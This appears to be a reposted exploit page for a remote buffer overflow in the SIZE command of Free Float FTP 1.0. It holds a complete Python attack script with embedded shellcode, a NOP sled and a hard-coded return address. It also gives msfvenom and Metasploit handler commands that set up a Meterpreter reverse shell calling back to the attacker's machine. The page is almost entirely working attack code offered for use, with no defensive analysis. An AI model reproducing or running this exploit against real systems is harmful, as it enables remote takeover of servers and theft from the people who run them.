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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Free Float FTP 1.0 "SIZE" Remote Buffer Overflow
# Google Dork: N/A
# Date: 4/26/2019
# Exploit Author: Kevin Randall
# Vendor Homepage:
# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
# Version: Firmware: Free Float FTP 1.0
# Tested on: Windows XP Professional Service Pack 2
# CVE : N/A

#Generate Shellcode with MSFVenom
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP.OF.LOCAL.MACHINE LPORT=4444 -b '\x00\x0A\x0D' -f python
#Setup listener "use exploit/multi/handler" "set payload windows/meterpreter/reverse_tcp" "set LHOST IP.OF.LOCAL.MACHINE" "set LPORT 4444" "exploit"

#!/usr/bin/python

import socket
import sys

buf = ""
buf += "\xba\x99\x2c\xb1\x7d\xdb\xd1\xd9\x74\x24\xf4\x5d\x2b"
buf += "\xc9\xb1\x56\x31\x55\x13\x83\xed\xfc\x03\x55\x96\xce"
buf += "\x44\x81\x40\x8c\xa7\x7a\x90\xf1\x2e\x9f\xa1\x31\x54"
buf += "\xeb\x91\x81\x1e\xb9\x1d\x69\x72\x2a\x96\x1f\x5b\x5d"
buf += "\x1f\x95\xbd\x50\xa0\x86\xfe\xf3\x22\xd5\xd2\xd3\x1b"
buf += "\x16\x27\x15\x5c\x4b\xca\x47\x35\x07\x79\x78\x32\x5d"
buf += "\x42\xf3\x08\x73\xc2\xe0\xd8\x72\xe3\xb6\x53\x2d\x23"
buf += "\x38\xb0\x45\x6a\x22\xd5\x60\x24\xd9\x2d\x1e\xb7\x0b"
buf += "\x7c\xdf\x14\x72\xb1\x12\x64\xb2\x75\xcd\x13\xca\x86"
buf += "\x70\x24\x09\xf5\xae\xa1\x8a\x5d\x24\x11\x77\x5c\xe9"
buf += "\xc4\xfc\x52\x46\x82\x5b\x76\x59\x47\xd0\x82\xd2\x66"
buf += "\x37\x03\xa0\x4c\x93\x48\x72\xec\x82\x34\xd5\x11\xd4"
buf += "\x97\x8a\xb7\x9e\x35\xde\xc5\xfc\x51\x13\xe4\xfe\xa1"
buf += "\x3b\x7f\x8c\x93\xe4\x2b\x1a\x9f\x6d\xf2\xdd\x96\x7a"
buf += "\x05\x31\x10\xea\xfb\xb2\x60\x22\x38\xe6\x30\x5c\xe9"
buf += "\x87\xdb\x9c\x16\x52\x71\x97\x80\x9d\x2d\xa7\x52\x76"
buf += "\x2f\xa8\x43\xda\xa6\x4e\x33\xb2\xe8\xde\xf4\x62\x48"
buf += "\x8f\x9c\x68\x47\xf0\xbd\x92\x82\x99\x54\x7d\x7a\xf1"
buf += "\xc0\xe4\x27\x89\x71\xe8\xf2\xf7\xb2\x62\xf6\x08\x7c"
buf += "\x83\x73\x1b\x69\xf4\x7b\xe3\x6a\x91\x7b\x89\x6e\x33"
buf += "\x2c\x25\x6d\x62\x1a\xea\x8e\x41\x19\xed\x71\x14\x2b"
buf += "\x85\x44\x82\x13\xf1\xa8\x42\x93\x01\xff\x08\x93\x69"
buf += "\xa7\x68\xc0\x8c\xa8\xa4\x75\x1d\x3d\x47\x2f\xf1\x96"
buf += "\x2f\xcd\x2c\xd0\xef\x2e\x1b\x62\xf7\xd0\xd9\x4d\x50"
buf += "\xb8\x21\xce\x60\x38\x48\xce\x30\x50\x87\xe1\xbf\x90"
buf += "\x68\x28\xe8\xb8\xe3\xbd\x5a\x59\xf3\x97\x3b\xc7\xf4"
buf += "\x14\xe0\xf8\x8f\x55\x17\xf9\x6f\x7c\x7c\xfa\x6f\x80"
buf += "\x82\xc7\xb9\xb9\xf0\x06\x7a\xfe\x0b\x3d\xdf\x57\x86"
buf += "\x3d\x73\xa7\x83"


shellcode = '\x90'*20 + buf
payload = "A"*247+"\xF6\xC1\xB3\x7C"+ shellcode +"C"*(749-len(shellcode))

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
##Add FTP Server IP Here###############
connect = s.connect(('192.168.0.9',21))
#######################################
s.recv(1024)
s.send('USER anonymous\r\n')

s.recv(1024)
s.send('PASS anonymous\r\n')

s.recv(1024)
s.send('SIZE' + payload + '\r\n')

s.recv(1024)
s.send('QUIT\r\n')

s.close()